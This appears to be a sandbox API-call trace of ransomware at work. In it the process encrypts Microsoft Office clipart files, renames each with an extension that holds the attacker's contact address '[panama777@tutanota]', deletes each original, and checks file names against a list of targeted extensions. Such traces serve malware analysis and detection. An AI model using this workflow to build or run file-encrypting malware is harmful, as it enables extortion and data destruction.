	[0274.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.540] GetLastError () returned 0x0
	[0274.540] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x4330, lpOverlapped=0x0) returned 1
	[0274.541] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x4340, lpOverlapped=0x0) returned 1
	[0274.542] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.542] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.543] SetEndOfFile (hFile=0x28c) returned 1
	[0274.543] CloseHandle (hObject=0x28c) returned 1
	[0274.543] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.543] SetEndOfFile (hFile=0x35c) returned 1
	[0274.545] CloseHandle (hObject=0x35c) returned 1
	[0274.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 1
	[0274.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63
	[0274.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63
	[0274.545] lstrlenW (lpString=".doc") returned 4
	[0274.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.545] lstrlenW (lpString=".docx") returned 5
	[0274.545] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0274.545] lstrlenW (lpString=".pdf") returned 4
	[0274.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.545] lstrlenW (lpString=".xls") returned 4
	[0274.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.545] lstrlenW (lpString=".xlsx") returned 5
	[0274.545] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0274.546] lstrlenW (lpString=".ppt") returned 4
	[0274.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63
	[0274.546] lstrlenW (lpString=".zip") returned 4
	[0274.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.546] lstrlenW (lpString=".rar") returned 4
	[0274.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.546] lstrlenW (lpString=".bz2") returned 4
	[0274.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.546] lstrlenW (lpString=".7z") returned 3
	[0274.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63
	[0274.546] lstrlenW (lpString=".dbf") returned 4
	[0274.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63
	[0274.546] lstrlenW (lpString=".1cd") returned 4
	[0274.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63
	[0274.546] lstrlenW (lpString=".jpg") returned 4
	[0274.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.547] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=14996) returned 1
	[0274.547] CloseHandle (hObject=0x35c) returned 1
	[0274.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 0x20
	[0274.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0274.547] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.547] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.547] GetLastError () returned 0x0
	[0274.547] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3a94, lpOverlapped=0x0) returned 1
	[0274.549] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3aa0, lpOverlapped=0x0) returned 1
	[0274.550] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.550] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.550] SetEndOfFile (hFile=0x28c) returned 1
	[0274.550] CloseHandle (hObject=0x28c) returned 1
	[0274.550] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.550] SetEndOfFile (hFile=0x35c) returned 1
	[0274.552] CloseHandle (hObject=0x35c) returned 1
	[0274.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 1
	[0274.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63
	[0274.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63
	[0274.553] lstrlenW (lpString=".doc") returned 4
	[0274.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.553] lstrlenW (lpString=".docx") returned 5
	[0274.553] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0274.553] lstrlenW (lpString=".pdf") returned 4
	[0274.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.553] lstrlenW (lpString=".xls") returned 4
	[0274.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.553] lstrlenW (lpString=".xlsx") returned 5
	[0274.553] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0274.553] lstrlenW (lpString=".ppt") returned 4
	[0274.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63
	[0274.553] lstrlenW (lpString=".zip") returned 4
	[0274.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.553] lstrlenW (lpString=".rar") returned 4
	[0274.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.553] lstrlenW (lpString=".bz2") returned 4
	[0274.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.553] lstrlenW (lpString=".7z") returned 3
	[0274.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63
	[0274.554] lstrlenW (lpString=".dbf") returned 4
	[0274.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63
	[0274.554] lstrlenW (lpString=".1cd") returned 4
	[0274.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63
	[0274.554] lstrlenW (lpString=".jpg") returned 4
	[0274.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.555] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=20136) returned 1
	[0274.555] CloseHandle (hObject=0x35c) returned 1
	[0274.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 0x20
	[0274.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0274.557] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.557] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.557] GetLastError () returned 0x0
	[0274.557] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x4ea8, lpOverlapped=0x0) returned 1
	[0274.559] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x4eb0, lpOverlapped=0x0) returned 1
	[0274.560] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.560] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.560] SetEndOfFile (hFile=0x28c) returned 1
	[0274.560] CloseHandle (hObject=0x28c) returned 1
	[0274.560] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.560] SetEndOfFile (hFile=0x35c) returned 1
	[0274.562] CloseHandle (hObject=0x35c) returned 1
	[0274.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 1
	[0274.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63
	[0274.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63
	[0274.563] lstrlenW (lpString=".doc") returned 4
	[0274.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.563] lstrlenW (lpString=".docx") returned 5
	[0274.563] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0274.563] lstrlenW (lpString=".pdf") returned 4
	[0274.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.563] lstrlenW (lpString=".xls") returned 4
	[0274.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.563] lstrlenW (lpString=".xlsx") returned 5
	[0274.563] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0274.563] lstrlenW (lpString=".ppt") returned 4
	[0274.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63
	[0274.563] lstrlenW (lpString=".zip") returned 4
	[0274.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.563] lstrlenW (lpString=".rar") returned 4
	[0274.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.563] lstrlenW (lpString=".bz2") returned 4
	[0274.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.563] lstrlenW (lpString=".7z") returned 3
	[0274.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63
	[0274.564] lstrlenW (lpString=".dbf") returned 4
	[0274.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63
	[0274.564] lstrlenW (lpString=".1cd") returned 4
	[0274.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63
	[0274.564] lstrlenW (lpString=".jpg") returned 4
	[0274.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.564] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=13456) returned 1
	[0274.564] CloseHandle (hObject=0x35c) returned 1
	[0274.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 0x20
	[0274.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0274.565] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.565] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.565] GetLastError () returned 0x0
	[0274.565] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3490, lpOverlapped=0x0) returned 1
	[0274.567] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x34a0, lpOverlapped=0x0) returned 1
	[0274.567] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.568] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.568] SetEndOfFile (hFile=0x28c) returned 1
	[0274.568] CloseHandle (hObject=0x28c) returned 1
	[0274.568] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.568] SetEndOfFile (hFile=0x35c) returned 1
	[0274.570] CloseHandle (hObject=0x35c) returned 1
	[0274.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 1
	[0274.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63
	[0274.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63
	[0274.570] lstrlenW (lpString=".doc") returned 4
	[0274.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.570] lstrlenW (lpString=".docx") returned 5
	[0274.570] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0274.570] lstrlenW (lpString=".pdf") returned 4
	[0274.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.570] lstrlenW (lpString=".xls") returned 4
	[0274.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.571] lstrlenW (lpString=".xlsx") returned 5
	[0274.571] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0274.571] lstrlenW (lpString=".ppt") returned 4
	[0274.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63
	[0274.571] lstrlenW (lpString=".zip") returned 4
	[0274.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.571] lstrlenW (lpString=".rar") returned 4
	[0274.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.571] lstrlenW (lpString=".bz2") returned 4
	[0274.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.571] lstrlenW (lpString=".7z") returned 3
	[0274.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63
	[0274.571] lstrlenW (lpString=".dbf") returned 4
	[0274.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63
	[0274.571] lstrlenW (lpString=".1cd") returned 4
	[0274.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63
	[0274.571] lstrlenW (lpString=".jpg") returned 4
	[0274.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.572] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=22532) returned 1
	[0274.572] CloseHandle (hObject=0x35c) returned 1
	[0274.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 0x20
	[0274.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0274.572] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.572] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.572] GetLastError () returned 0x0
	[0274.572] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x5804, lpOverlapped=0x0) returned 1
	[0274.802] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x5810, lpOverlapped=0x0) returned 1
	[0274.803] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.803] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.803] SetEndOfFile (hFile=0x28c) returned 1
	[0274.803] CloseHandle (hObject=0x28c) returned 1
	[0274.804] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.804] SetEndOfFile (hFile=0x35c) returned 1
	[0274.806] CloseHandle (hObject=0x35c) returned 1
	[0274.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 1
	[0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63
	[0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63
	[0274.815] lstrlenW (lpString=".doc") returned 4
	[0274.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
